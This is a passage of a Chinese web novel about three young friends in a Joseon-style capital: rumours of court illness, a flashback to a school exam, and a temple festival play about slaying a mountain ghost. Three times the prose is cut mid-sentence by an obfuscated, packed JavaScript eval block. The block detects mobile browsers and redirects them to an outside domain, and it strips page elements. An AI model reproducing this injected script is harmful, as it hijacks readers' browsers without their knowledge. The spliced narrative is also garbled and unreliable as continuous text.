“正是。”沈本庭点点头道:“我不解的地方在于,司宪府的档案里金哲的罪名是贪污受贿,但一来金哲同时出现在了曳扇台的档案里,并交给你办,二来金哲是被义禁府抓走的。能同时惊动曳扇台和义禁府,看来他的罪名应当不只是贪赃?若是贪赃,只需刑曹捉了他即可,何必惊动义禁府。除非他贪到了国君的头上,或者在他的罪名里,贪赃是最不值得一提的?” 宋景熙拊掌笑道:“本庭,你让我怎么说你才好,怪不得是司宪府的监察呢,这般敏觉。好吧,的确如你所猜测,金哲他的确牵扯到了重罪,也许他现在正在义禁府接受拷问吧。至于是什么重罪,我毕竟刚从南邑回来,也不是很清楚,估计得回一趟曳扇台才知道了。” “重罪......”沈本庭沉思片刻后道:“既然曳扇台能将这等重要的案子交给你,是否意味着你得到了哪位神秘的台主的认可?我记得你说,以前你可是从未被指定过什么重要的案子。” 宋景熙打着哈哈道:“差不多吧。” 开玩笑,他可是一直都受到台主的重视好不好,毕竟台主就是他老师,是老师唯二的徒弟,能不重视吗?不过这话只能心里说说,因为他从未向好友透露过关于老师和曳扇台之间的事情,他倒是不喜欢隐瞒,只是老师的身份太特殊,容不得一点暴露。 “这说明我未来可期,往后朝廷里的人可都得小心点,万一犯了重罪,说不准还是由我来抓呢。” 沈本庭不禁笑了笑。 他话音刚落没多久,忽然从院门处撞进来一个冒冒失失的身影,伴随着一声如虎般的吼叫,沈本庭被震得手一抖,茶水洒出。 闯进来的这人是郑禹原。 郑禹原四肢乱甩手脚并用地冲了过来,一把抓住沈本庭沏了半杯的茶,猛地灌了一口,还不满意,又抢过桌上的茶壶,对着壶嘴就直往嘴里灌,将茶水榨取地一滴不剩,随后又从喉间发出一阵如虎恶吼,吵闹道:“渴死我了!” 宋景熙骇然道:“都提调大人府上是断水了吗?” 沈本庭没说话,默默地接过郑禹原喝空的茶壶,不敢相信地掂了掂,更沉默了。 郑禹原一看这树下桌前正好有三把椅子,嘿一声道:“看来这是为我准备的。”安心地坐下后,又道:“说什么呢,我爹能短了我吃喝吗?我刚刚是跑过来的!从训练院那边一路跑来这!” 宋景熙不禁感叹:“你真能跑。”从训练院到宋府,那还真是有些距离的。 他又问道:“你不待在训练营练兵,怎么跑到这来了?” 郑禹原睁眼道:“靠!今天本来就是休沐日好不好!他沈本庭能休沐,我郑禹原就不能休沐了吗?我可是舍弃休沐,自愿加练的好男子!” 沈本庭被他提到,提着茶壶的手顿了顿。 宋景熙呃了一声:“那你为什么又不加练,跑到这来了?” 郑禹原道:“我本来想着趁休沐日,约本庭一起去打打兔子,不过他不感兴趣,说要去找你,我想着一个人打野兔也没意思,又恰巧训练院的教头告了假,让我替职,我便去了。但你们知道我在训练院听到了什么吗?我都不敢相信,怎么会发生这种事,我抓着那些人问到底咋回事,然后给我自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郑禹原挠挠头道:“谣言吗?我不知道啊,我都是听他们说的。反正好多人都在说,而且说得格外真,格外有理有据。听说世子嫔也因为世子的病,忧思过重而卧床不起了,不过这个不太清楚,也有说是世子将病传给了世子嫔。总之世子嫔现在估计挺不好受的,她还有着五个月身孕啊,真是个可怜的女人。” 沈本庭沉思一番,道:“这么说来,我的确有在司宪府里听到有人谈论世子嫔状况不佳的传言,说世子嫔这一胎很难保,连世子嫔的父母也进宫看望了。但都并未提及世子。” 宋景熙一脸诧异道:“你们俩一个听说世子,一个听说世子嫔,消息还挺灵通的?怎么就我不完全不知呢。” 郑禹原指指点点道:“是你消息太闭塞了吧,你哪回不是听我和本庭说起才知道那些事的,谁让你非要做什么曳扇台的密使,都没个同僚,有也不知道是谁,哪有人告诉你这些。” 宋景熙摸了摸鼻子,确实,曳扇台的密使身份都是保密的,除非共事过,否则互相之间是不知晓的,他入曳扇台那么多年,连其它密使的面都没见过几个。不过郑禹原说的也不对,眼下他不就有个同僚么,韩时元同他一样,也是曳扇台的密使。 他道:“无所谓,你们俩不算我的同僚么?有你们告诉我就行了,别的我信不过。” 郑禹原双手环胸,得意洋洋地道:“看来我还是很靠谱的。”说着,脸色又变得担忧起来:“世子病了,世子嫔也病了,可千万要好起来啊...我可不想披麻戴孝的,连玩乐也不能了.......” 沈本庭批评道:“你这话对我们说说也罢了,千万不可说出去。世子嫔尚在待产之中,宫中闹出这等谣言,本就对产妇不好。不要再传这些话了,你回去记得惩罚那些胡乱嚼舌根的兵士,让他们闭紧嘴巴,免得惹祸上身。” 郑禹原听话地捂紧了嘴巴,举起双手发誓道:“一定!一定!” 几人又闲谈了片刻,宋景熙想着时间晚了,他爹指不定什么时候便会回来,便招呼两人赶紧回去,改日再会。郑禹原不乐意,拉扯来拉扯去,忽然,从王城的方向传来一声沉闷的鼓声。 三人皆愣在原地。 王宫传来的鼓声,这意味着,有人死了。 26. 祭会其一 六年前。 文庙的钟敲响了第一声。 此刻正当辰时,宗学正门缓缓推开,早早侯在门口的学子们鱼贯而入。 宋景熙踩着钟声赶来,瞧见人多,停下脚步,准备等人流少些再进去。 对比往常来说,这是很不正常的。因为宗学是辰时开门,半个时辰后才闭门,期间半个时辰内进门都不算迟到,因此大多学子都会踩着最后一道钟声进门,而现在,正门一开,大批学生竟然鱼贯而入,何等盛况。 不过想想今天的日子,也就正常了。一年一度的宗学岁考,能不重视吗?宗学有个强硬的规定,凡是三次仍未考过的,真是抱歉,恐怕得卷铺盖回家了,从此,宗学的大门将永远为尔闭上。 能入宗学的,哪个不是世家子弟。各个家门里要脸要皮的,子弟若是被退了学,那可真是一件祖坟冒黑烟的丧事。且再想进可就难了,只能屈居于其它不成气候的书院。这样一来,科考效果自然是大打折扣,想被点为进士及第再进最高学府成均馆也就更难了。故而汉阳人对宗学岁考,不可谓不重视。 不过凡事都有个例外,总有些不重视的,不怕考砸,更不怕被退学了。 宋景熙耐心等着,忽的耳边一道响亮的口哨声。循声望去,果然是郑禹原这家伙。 郑禹原一脸坏笑,刚刚吹了个口哨令他分外欢喜,笑嘿嘿地跳过来,搭住宋景熙的肩,调笑道:“哎哟,这是谁家的小少爷,这般俊呐。” 这倒也不算一句调笑话,而是实话。方才门口这样多人等着,可谓是众生众相,千人千面了,唯有个面如傅粉的,一身淡粉竟衬得人似桃花,身如玉立。又极年轻,几分稚嫩的意味,真真是令人见之忘俗。 郑禹原刚到没多久,一眼便瞧见这个扎眼的人,现在靠近了,又瞧了两眼,奇道:“诶你这脸究竟咋生的,让我摸摸...”说着,便伸手去捏宋景熙白又嫩的脸。 虽说他自认为自己长的也算是“俊”的那一挂,沈本庭也在其中。但宋景熙这样的,确实少见。 宋景熙眼疾手快地拍开郑禹原意图不轨的手,回笑道:“干什么干什么。我瞧你生的也不错,摸你自己的去。”又道:“你这回倒来得早,往日看你都是敲了第三响钟才姗姗来迟,今日是发了什么良心啦?” “我的良心被我哥吃了!”郑禹原恨恨地道:“都怪他,是他逼我来这样早的,非说我要是这回大考再迟到或得个最末就让我完蛋。我人还躺在被褥里,这拳头就全砸我身上了,痛死我了!我还能不起?呃呃呃气死我了......” 郑禹原正是个浑不怕不及格甚至被退学的问题学子。分明比宋景熙和沈本庭都还要早一年入宗学,在宋沈两人已经双双升到“丁”字学年时,他却因为已经连续两回不及格,在“丙”字学年已经待了整整三年,也就是说,这回岁考他要是再不过,就有被退学的风险了。 宋景熙道:“你兄长做的对。你若是这回也得个最末,可就永远进不了这门了。” 这时,人流也进得差不多了。宋景熙抬脚便走,却被一股力拖了回来。郑禹原笑脸呵呵没脸没皮道:“我怕那作甚?偏不信司成能退我的学。走走走,离考试还早着呢,先陪我去玩玩。” 宋景熙瞥眼看他:“你还想着去哪玩?不温书?” 郑禹原道:“不是,宋景熙,你还想着温书啊?怎的学了本庭的坏了,他温你也温?你不准,我懂你,你和我是一路货色。走嘛走嘛,陪我去那条街玩玩呗。” 宋景熙还没张口,便被捂住了口鼻,说不出话来。然后一路拖离宗学大门。 郑禹原说的玩,还真是玩。宗学附近新开了家早集,店门摊位颇多。虽是些赶集的,郑禹原却逛得十分带劲,宋景熙也有七八分带劲。逛带着买,买连着吃。这一趟下来,肚子渐渐鼓了,荷包缓缓扁了。 不知过了多久,两人才勾肩搭背地回到宗学。想来是已到了辰时末刻,门口已经无旁人出入,不过却有一个穿着学服的身影——韩明吉。 由于背对着,韩明吉并未看见二人,却听见了郑禹原的嘟囔声:“怎么又是这个家伙,晦气死了。” 韩明吉转过身来:“狗崽子,你说什么?” 宋景熙连忙道:“不,你听错了...” 郑禹原道:“你耳朵有问题?傻鸟玩意,咋碰见你了,真是晦气!” 两人都是“丙”字的学子,平日抬头不见低头见的,也吵得多了,这种话听过不少,渐渐地听到耳朵里也不会大动肝火了。但是吵还是要吵的。韩明吉啐道:“晦气死你!让你这回也得个最末,真是期待看到你被退学的样子,肯定爽死了!” 郑禹原也啐道:“臭小子,管好你自己。你也没好到哪里去,要退学,肯定是你先被退!” 韩明吉道:“滚你的。我比你少得一回最末,你先!” 这么论起来,确实是郑禹原劣势些。韩明吉只得了第一年的劣,而郑禹原已经连着得了两年了。 郑禹原面不红地道:“那我退学之前一定先得揍你一顿!你就等着吧!没种的家伙!” 韩明吉心不跳地道:“来啊!狗崽子你来啊!有本事打死我!” 怎么可能真在宗学门口打起来。两人只能你一言我一语,激情对骂着。眼见宗学大门快关了,宋景熙连忙从中斡旋,总算分开了作势要打起来的二人。 “够了够了!别吵了,门要关了。错过考试,谁都过不了!” 两个人终于分开了。 等进了各自的学堂,第三道钟声正正好敲响。宋景熙顶着前座沈本庭疑惑的面容,朝他笑了一笑,坐到自个位上。开考。 岁考考了整整一日,从巳时考到午正,又从未时考到酉时;从儒学经典考到邢典义理,再从君子六艺考到天文地理。考得人晕头转向头疼欲裂□□,求生不得求死不能求过更没个准。 等最后一场考卷被收上去,学堂内众人叫苦不迭,好难真难极难顿时叫得满天飞,一名训导还留在学堂里给考卷盖名,拍拍桌命令众人安静下来。众学子面上登时是安静了,个个还是愁容满面心如死灰的。 宋景熙也哀叹了两口气,这回考题难度可大,他都没什么把握,只是郑禹原怕是难过了。眼神又往前看去,见沈本庭端坐在正前桌,身挺如松,单是看这背影,也能想象到那张脸绝对没有旁的神色,定然是泰然自若的。也是,对于沈本庭这样的优秀生员来说,还有什么难的? 训导一走,学堂内立刻轰了,交头接耳,你哭我恨,一起投河。宋景熙和几个周围的学子正交流着,郑禹原忽然跑进学堂来,直奔这边。宋景熙一眼就看到了他,招手道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773775|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “如何?可过得了?” 郑禹原一屁股坐到沈本庭旁,朝他那边挤了挤,道:“不如何!那考题我都没看懂,胡乱写了一通。不过小少爷你可就放心吧,哦大少爷你也放心,我听人都说难,这下可不止我一个人写得烂了,大家一样烂,我这个烂可就不突出了哈哈哈。” “大少爷”沈本庭翻了一页书,目不斜视道:“心态可嘉。” “小少爷”宋景熙道:“你确实是心态好。那也得看判卷的是哪个司业,若是洪司业便还好,若是朴司业,只怕难说。” 郑禹原毫不在意地道:“管他谁呢,看在我爹面子上,司成也不会退了我的学的,我家和他家是世交嘛!哎我在这和你们说这些做什么,考都考完了,还在意这些做什么,多没意思啊?说些别的!眉寿山那边的事你们知道不知道?” 沈本庭这时转过身来,提起了些兴趣:“如果你说的是眉寿山祭会的话,知道。” 几个周围的子弟聚了上来,其中一个道:“我也知道!三年一次的山祭嘛,可受欢迎了,谁能不知道啊,城里早就传开了。” 这些子弟们个个面上期待非常,说起祭会来神采飞扬,先前的苦恼和悔恨已经消失得无影无踪。宋景熙笑道:“大家好期待啊。” 郑禹原道:“能不期待吗?要不是因为岁首节没能好好过,我们也不至于期待这小小祭会了。现下丧期也早过了,我这憋得慌啊,真得找个地儿好好玩玩。” 郑禹原所说的“丧期”,是去年去世的王大妃的丧期。好一段时间内皆是八道之内无声乐,娱乐场地尤其是妓坊,比如群芳馆,完全闭门谢客。失去了往日最频繁出入的流连之地,可想而知,这些学子有多期待这一回的眉寿山祭会。 连沈本庭也道:“能弥补些许岁首节的遗憾,也是不错的。” 一个子弟赞同道:“是啊,大家都是这样想的。以往那祭会都是小模小样的,这回据说是因为念着去看的人特别多,那光隐寺也是相当重视,声称筹备了半年多,就等着这一天呢。” 宋景熙道:“哪一天?” 郑禹原道:“就今天!” 有人问:“啊?那岂不是错过祭会了,现在都已经酉时了欸。” 见众人面露遗憾之色,郑禹原恨铁不成钢地道:“你们消息真是不灵通!日子弄不对,时辰也弄不对。这祭会就是要晚上才举办的,我们骑马赶过去也才天黑,恰巧能赶上。反正也快放课了,别犹豫了,我们一起去!” 一众少年哗啦啦地站起来,兴冲冲地喊道:“去去去!”竟是全然将那几张破考卷抛之脑后了。 宋景熙也站了起来,这种活动,当然是不可错过的!不过出乎意料,当几人看向沈本庭时,那人却道:“我也去。” 郑禹原摸摸下巴道:“这不像你呀。按理你这个时候应该还在犹豫着,口里念叨‘府里管得严’云云,然后我要拽着你的胳膊磨上半个时辰才成。” 沈本庭不置可否,兀自微笑,那意思很明显了,郑禹原诧异道:“你真去啊?!这事风险挺大的,若是捅到你爹那了,恐怕提学大人又要嫌我是个墨黑的染缸带坏你了。” “我父亲不会知道的。偶尔玩乐一回,也无妨。”说罢,沈本庭一掀下摆,从容地站了起来:“不走吗?” “走走走!” 27. 祭会其二 一行六七个人,各自同自家的书童串通一气,往家中撒了点小谎,譬如“我今日拜访于某某好友府中,晚归”诸类。又一去二三条街,找了家马舍,几乎将那主人家的马匹全借光了,当即打马往眉寿山去。 到山脚时,天已经黑得差不多了。山脚连着条山路,直通光隐寺,以往是寺中僧人和香客寻访的小径。现下人正多着,各个手提着一个简陋的灯,沿着山路往上去。 山路口有不少卖灯的,郑禹原上前指了一通:“这这这这这这个,还有这个,都要了。他付钱!” 郑禹原的荷包先前早在在市集里透支了,宋景熙心领神会地付了钱,六七个少年一人提着个简陋的灯顺着人流往山顶去。 走了一段路后,前方忽然一阵骚乱,不知是谁呼了声:“斗鬼会开始了!” 这所谓斗鬼会,正是整个祭会中最重要的一个部分。话说这不知道几个一百年前,眉寿山上出了个鼎鼎大名的恶鬼,传言是山间野鬼占据猛虎身躯化形而成。这山鬼害人无数,逢年过节必得拿条人命不成,久而久之,搅得一方百姓不得安宁、有苦难言。这么任山鬼胡作非为了多年,终于迎来了位得道的云游高僧,听闻百姓疾苦,当即主动请缨,领着数十弟子入山镇鬼。九天九夜后,眉寿山顶暴雨如注,电闪雷鸣,山鬼终于被制伏,可这恶鬼性情刚烈,不肯被镇压,死前竟自行将躯体裂为七个部分并分散于山中,非让制伏者们头疼不可。僧人们又找了七天七夜,才找回零散的躯体,能超度便超度,不能则销毁。 从此,一方太平。领头的高僧功德圆满,不久坐化,其众弟子于眉寿山某座山头建庙一座,是为光隐寺。为了纪念这高僧,当然也是为了吸引香火,光隐寺每隔三年都会举办一次祭会,重演当年镇鬼之迹。至于这怪力乱神的传说究竟是真是假,也并不重要了,只要这为了纪念的祭会依然在,人们就不会失去对传说的兴趣。 而在祭会的整个流程中,这斗鬼会是最招人稀罕的,上山参加祭会的大多也只是对这一环节感兴趣。人群被那一声“斗鬼会开始了”勾得心乱,原本稳稳当当走着,听了这话,纷纷乱起脚步地往山顶跑。 “斗鬼会开始了?!”宋景熙诧异道:“我们来的竟这般晚。”说着,脚步也不自觉快起来。 郑禹原兴奋地大叫一声,这可是他最期待的一节,他立刻开始奔腾起来,并不忘催促道:“跑快点!”他跑得飞快,几乎有将所有人甩在身后的架势。几个少年也都欢呼雀跃地兴奋一叫,卖力向前跑去。 灯烛晃荡,月色柔白,树影婆娑,渐入山林,终于见得那座坐落于一块颇广阔的空地之上的寺庙。 人群悉数聚集在寺庙内外,已经将庙门口围得水泄不通,什么也看不着,只能听到不知是哪些乐器发出的声音里乐手嘹亮的歌喉,以及鼓手捶破天的擂声——这些乐手鼓手都不是僧人,而是光隐寺请来的专业人士。 宋景熙只粗略地扫了一眼,看见宝殿内有个戴着山鬼面具的人,面朝向这边,因此教他看了个清楚。这面具半赤半黑,左半边为鬼面,浓眉怒目,右半边为虎面,獠牙狰狞,真是叫人看一眼便心生惧怕。 可也只扫到了一眼,很快,宋景熙便被拥挤的人群挡住了视线。 郑禹原急道:“这哪看得清楚!全挡着了,看个鬼啊!” 有个少年叉腰道:“本来就是来看鬼的啊。” 郑禹原又笑又怒道:“别耍嘴皮子了!” 宋景熙环视了一圈周围,试图找个视野好的地方,可哪哪都没有。这时,他的目光定在紧挨着光隐寺前院院墙的一棵树上。 宋景熙当即指着那棵两三人高的树,道:“郑禹原!那儿!” 郑禹原猛转头道:“啊,啊?树?上树吗?啊?!” 不等他多问,宋景熙已经越过人流朝那棵树去了,并且三两下攀了上去,末了,还朝走过来的郑禹原伸手。 郑禹原欣喜若狂道:“宋景熙你真是个天才!!” 郑禹原被成功拉上树,树上两人坐在同一个树干上,各自伸手拉了一个跃跃欲试的同伴上来,沈本庭在下静静看着。 同伴顺利坐上另一个枝头后,宋景熙朝沈本庭喊道:“本庭!上来?” 沈本庭非常意料之中地摇了摇头。 郑禹原就知道他是这么个反应,吐舌道:“知道你好面子,克己复礼守规矩,不会爬树的!” 话说如此,郑禹原还是朝他伸去了手,乐呵呵地道:“也就这么一回!多放纵放纵自己,大胆点,上来吧!” 沈本庭依旧摇头,喊道:“不用了!上面不够坐那么多人,我待在下面也看得着,不要紧!”平常他是完全不会大呼小叫扯起嗓子呼喊的,无奈乐鼓声太过吵闹,不靠喊那是绝对听不见的! 他们这一番下来,引得周围不少人纷纷效仿。先前觉得寺庙边的树爬了有些不敬,所以才不爬,现在有人先破戒了,况且僧人们也没有说什么!寺庙周边的十几棵树立刻变得抢手起来,不出半刻,树枝上已经满满当当地坐了不知道多少人了。 要说这树上的视野果然好,一览无余。一眼便见那片居中的空地上搭起一架半人高的圆形高台,高台边缘还插着桅杆,桅杆上帮着不知代表何意的旗帜,旗帜随风飘动。桅杆下,山鬼正缓缓步上高台,山鬼对面还有几个樵夫装扮的人也登了上来。 敲锣打鼓声中,乐手唱着难以辩清词句的故事,以歌词告诉围观者们——恶鬼已经占据了山虎的躯体,开始为祸百姓啦! 披着虎皮的山鬼行动迅猛,径直扑倒一人,猛虎压制下,那人反抗不得,连连呼救,鼓锣声变得急促起来。利爪一出,樵夫胸腹处被抓破,顿时浸满血液,当即“毙命”。杀了一人已是罪孽,但山鬼似乎并不满意这样的战绩,晃了两晃,盯上了另外几名神色慌乱的樵夫。樵夫们意识到有危险,却还来不及逃跑便被山鬼连连扑倒,顿时惨叫连连。短短时刻内,樵夫们悉数倒在鲜血当中,命丧黄泉了。 山鬼得意地咆哮着。乐鼓也变得雄壮起来,只是这雄壮难免听着让人觉得带着一丝愤怒。接着,山鬼在高台上蹦蹦跳跳,若是不听乐手唱词,只怕是看不懂这山鬼在做什么的,乐手唱词解释——山鬼和山中野兽争夺领地,已经当上山大王啦!只要是山间活物都不放过,连人都成了齿下骨、山间魂! 山鬼又狂舞了一阵,这时,从四面八方冲出一波手持长棍和木矛的平民,他们各个吹胡瞪眼,神情悲壮地将地上的尸身拖走。乐手再唱——原来山下的村民已经受够了杀人如麻的山鬼,为了保卫家人和土地,村民们群勇集结,上山除妖魔啦! 山鬼被团团围住,领头的村长大喝道:“妖魔!你不仅害死了我的侄儿,还吃掉了三十三位父老乡亲!连幼儿和老妇也不放过!你罪无可赦,罪该万死!老朽即便是赔上性命,也要灭了你这畜生!” 回应村长的只有山鬼轻蔑的吼声。所有人聚精会神地看着双方激烈的战斗,无不期待这群村民能砍下山鬼的脑袋,祭奠给无辜死去的人。然而传说里的凡人总是没有美好结局的,肉体凡胎怎斗得过妖魔。不出一刻,年轻人已经全部丧命于山鬼齿下,独留苦苦支撑的村长一人。 村长已经被咬断一条臂膀,痛苦地环视了一圈后,愤然道:“恶魔!你杀不完的!一定会有更正义的人除了你!老朽这条命,是赔给追随老朽却又被你杀害的勇士们!你一定,会被挫骨扬灰!永世,不得超生!”说罢,吐血三升,倒地而亡。 乐声随即变成凄厉的哀调,仿佛是在奏演一场满怀悲痛的葬礼。 郑禹原暗搓搓地戳了下宋景熙,悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773776|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声道:“这段村长什么的...怎么好像以前没听过啊!难道是改了?” 宋景熙道:“传说不就是这样吗,边传边说,边说边传,内容变更一下也正常。如果回回都上演一模一样的,久了大家也会嫌腻的。况且这不是改得很好嘛。” 郑禹原瘪嘴道:“好吧,你说的也对。” 哀乐演奏了片刻后,原本被村民关上以示自断后路的寺庙正门再度打开,从中踱出两个严肃庄重的男子。一位扮作高僧,手持法杖,住持模样;另一位则是巫师打扮,一手各持一把短剑,与其说是巫师,倒不如说是完全不同于寻常巫师打扮的萨满战士。巫师率先大声喝道:“恶鬼,你的死期到了!” 郑禹原吃惊道:“这怎么连巫师也出现了?传说里有这段吗??” 宋景熙道:“有的。眉寿山山鬼的故事有好几个版本,其中流传最广的一版是法圆大师带领弟子斩除山鬼。但还有一版同样流传甚广却不如前者的,说是法圆大师有个信仰天地神灵,信奉萨满的巫师友人,二人虽信仰不同,却是至交好友,结伴游历时偶然听说山鬼之事,一拍即合,共同上山除魔。除魔成功后,法圆大师认为与眉寿山有缘,执意留在此地,而巫师则认为缘分不在此处,于是告别友人,继续远走他乡了。” 后面的事,不必多说,也都知道。光隐寺建起,法圆大师坐化,香火延续至今。 郑禹原好奇地道:“那这巫师结局如何呢?” 宋景熙道:“据说他死得比法圆大师还要早。巫师离开眉寿山后,法圆大师在寺内为其供奉佛灯一盏。半载以后,佛灯毫无征兆地熄灭了。法圆大师认为这是友人死于异地、魂归天地的象征,因此将佛灯埋葬了。” 郑禹原喟叹道:“天啊,他们俩感情真好,和咱俩一样。不过佛灯还有这么神奇?竟还能象征人的生死,不会是唬人的吧,哎算了不计较这个,要不...要不等下我也要去庙里给你供一盏?哈哈哈哈哈哈——不过我说宋景熙你知道的也太多了吧?平常明明属你消息最慢,今天竟然轮到我听你讲故事了。你究竟是哪里听得的?” 宋景熙不紧不慢道:“忘记告诉你了,这个故事,是我从我长兄那里听得的。我长兄曾带我参加过一次祭会,那时我应当才不过七八岁,虽然很多事情已经记不得了,但这两则不同版本的传说是我长兄告诉我的,所以记得尤其清楚。” 郑禹原酸酸地道:“你哥对你真是好,那时你哥也差不多在我们这个年纪吧?居然会带弟弟去凑热闹,不像我三哥,啊说起他我就气,只会对我使拳头,没用的哥哥!” 宋景熙小得意了一下,郑禹原正准备痛骂一顿,忽然看到了什么,诧异道:“它怎么这么快就死了?!” 两人谈话之间,巫师已经手持两把短剑,和那凶猛的山鬼斗了二三十个来回。山鬼终究是不敌功力高深的巫师,被刺中数刀,虎躯摇摇欲坠。“法圆大师”轻闭双眸,口中念念有词,那山鬼像是痛苦不堪,愤怒异常,却又无可奈何。随着“法圆大师”法杖猛然杵地,山鬼似是被镇住,动弹不得。巫师瞅准机会,双剑送上,一剑捅入心脏,一剑捅入腹腔,双进双出。山鬼当即倒地,背景乐声变得欢呼雀跃起来。 郑禹原诧异道:“原来这山鬼是那巫师斩杀的?” 宋景熙道:“斩杀?不,还没完呢。” 果然没错。巫师凭剑杀死的是山鬼占据的躯体,肉胎是被杀死了,可还有“鬼”呢! 众人正屏息凝神着,忽然,山顶像是狂风大作般,围绕寺庙的树木哗哗摇曳作响。尚想不明白这是怎么回事,只见那山鬼在地上抽搐了一阵,突然暴起冲下高台,撞破紧闭的寺庙正门,直奔内院而去。 郑禹原目瞪口呆:“这又是哪一出?!” 宋景熙道:“要换人了。” 28. 祭会其三 果不其然,待那山鬼再度出现时,依旧是带着那副面具,只是不再披着虎皮,而是换了一身破烂黑衣裳。显然,山鬼被逼得现了真身,而这真身竟还是个人形。 巫师大喝道:“恶鬼,连玄铁和法咒都镇不住你?果真不简单。你现了形,好!待我使出全力,今日必除了你!” 山鬼现了人形,终于说话了,只是这声音青涩无比:“......想杀我的人和鬼比山上的树还多。像你们这样的,我肚子里还有几十个。你们俩,也不过,是我的腹中餐罢了。“ 郑禹原忍笑道:“这台词说的也忒不熟练了些,什么感情也没有!还有这声音,听起来和咱们差不多大,十几岁的小孩吧,怎的演个几十几百岁的山鬼。你说对不对?笑死我了哈哈哈哈哈哈......” 宋景熙盯着山鬼,思索了片刻,认真道:“我倒觉得念的挺好的?” 郑禹原道:“真可惜,年纪轻轻耳朵就聋了。” 宋景熙道:“山鬼又不是人,会说话肯定是学的,而且一年到头说不了几句,能把人话说成这样已经很不错了!” 郑禹原摸摸下巴,嘶道:“你说得有道理啊。” 二话不说,巫师和山鬼斗了起来。不知是不是脱离了兽躯,这“原身”用得更得心应手,山鬼形如魅影,步法诡谲,难以压制,又出手迅速,毫不拖泥带水。然而巫师也不是吃素的,一人一鬼,你拉我扯,斗得有来有回,战况焦灼。 所幸有“法圆大师”助阵,一通法咒加法杖加持,战势暂时压过了山鬼。 宋景熙戳了戳正看得入迷的郑禹原,道:“这山鬼皮下还是个习武的。而且,很厉害。” “对!”郑禹原肯定道:“我也看出来了。他身法和步位很好!虽说台词可能念得差了些,但毕竟重中之重是打斗的戏,单凭这一点来看,相当合格,相当有看点了!” 宋景熙略感羡慕道:“看他身形单薄,应当是和我们差不多年纪,却有这般能力,真是厉害。” 又斗了几十个回合,战线拉长后,“法圆大师”明显有些力不从心,巫师也不免受了伤,实力受损不少,唯独山鬼越战越勇,似有压倒之势。巫师连连后退,直到跳下高台,退至宝殿门前。 巫师环顾了几圈,像是在找什么人,却没找到,显得有几分着急。 不消郑禹原多问,宋景熙便道:“这里本来应当有个接应的人,是巫师的弟子——据说是虚构的,原本没有这号人物。这弟子是要协巫师斩杀山鬼的,不知什么原因,这弟子不见了?” 山鬼紧追其后,跨入内院,一见原先安排好的人并未出现,也是愣了一瞬。但这出斗鬼会还是要继续演下去的,山鬼没有多想,朝巫师出手而去。 巫师咬了咬牙,大喊道:“顺天而为!”而后居然将左手的短剑大力一丢,而这把短剑,竟不偏不倚地砸向了树上的宋景熙。 好在在宗学里从没逃过武艺和骑射课,宋景熙的武力值还算可以,竟是稳稳接住了这把直奔他而来的短剑。 巫师欣喜大喊道:“有缘人!请下树而来,助我等一臂之力!” 几百双眼睛全部看了过来。 郑禹原拍手大喜道:“喔喔喔哦哦哦!!!厉害厉害!宋景熙!上!!” 宋景熙咽了下喉咙,不由自主看向树下的沈本庭,后者正微笑着鼓掌,口型道:“去吧!” 得到了两位好友的支持,宋景熙也有了几分信心和勇气,不自觉地露出笑容。摸了把刀身,原来是没开过刃的,并不会真正伤到人。 从树上跳到院墙上,宋景熙在院墙上走了两步,又跳下院墙,踩在地上,直面山鬼。 山鬼并未多言,也并未有所动作。巫师先行一招,朝山鬼袭去。宋景熙知道自己现在应该是取代了巫师弟子的身份,代入也十分快,几乎是同时出剑,山鬼身形随之而动。招架两个人,这并不容易,何况宋景熙也不是吃素的! 巫师刺去一剑,虽被躲开,然而又有宋景熙攻上来,这一剑,差点刺中山鬼要害。 因为是在院中斗鬼,又好在院墙并不高,部分挤不进来的围观群众悉数扒在墙边,聚精会神地看着。这一剑刺得漂亮,引起了一阵兴奋的声浪。巫师欣喜道:“小友,厉害!” 宋景熙笑了一笑,当作回应。心下却越发惊叹山鬼皮下之人武艺高强。方才并不是他太厉害,那一剑其实算不上有多迅猛,山鬼分明可以躲开,却没有。也许是因为斗鬼会即将到了尾声,即便还能打,也得故意输掉? 两人一鬼过了几十招后,山鬼像是力量不支,动作迟缓不少。在巫师的眼神示意下,宋景熙将山鬼逼至角落,“法圆大师”已携弟子在此处护法布阵。山鬼一入阵,梵音顿起,“法圆大师”的法杖立刻杵地如捶,诵经如莲绽:“孽障,休得放肆,回头是岸!” 山鬼道:“想超度我?呵,天真!” “法圆大师”道:“我承佛如来威神力故,遍百千万亿世界,分是身形,救拔一切业报众生。若非如来大慈力故,即不能作如是变化。我今又蒙佛付嘱,至阿逸多成佛已来,六道众生,遣令度脱。” 山鬼道:“哼!” “所有地狱及三恶道诸罪苦众生,誓愿救拔。如是罪报等人,尽成佛竟,我然后方成正觉!” 山鬼虽被镇住,却仍厉声道:“白费功夫!我便是死,也绝不会被你镇下,更不会受你超度!” 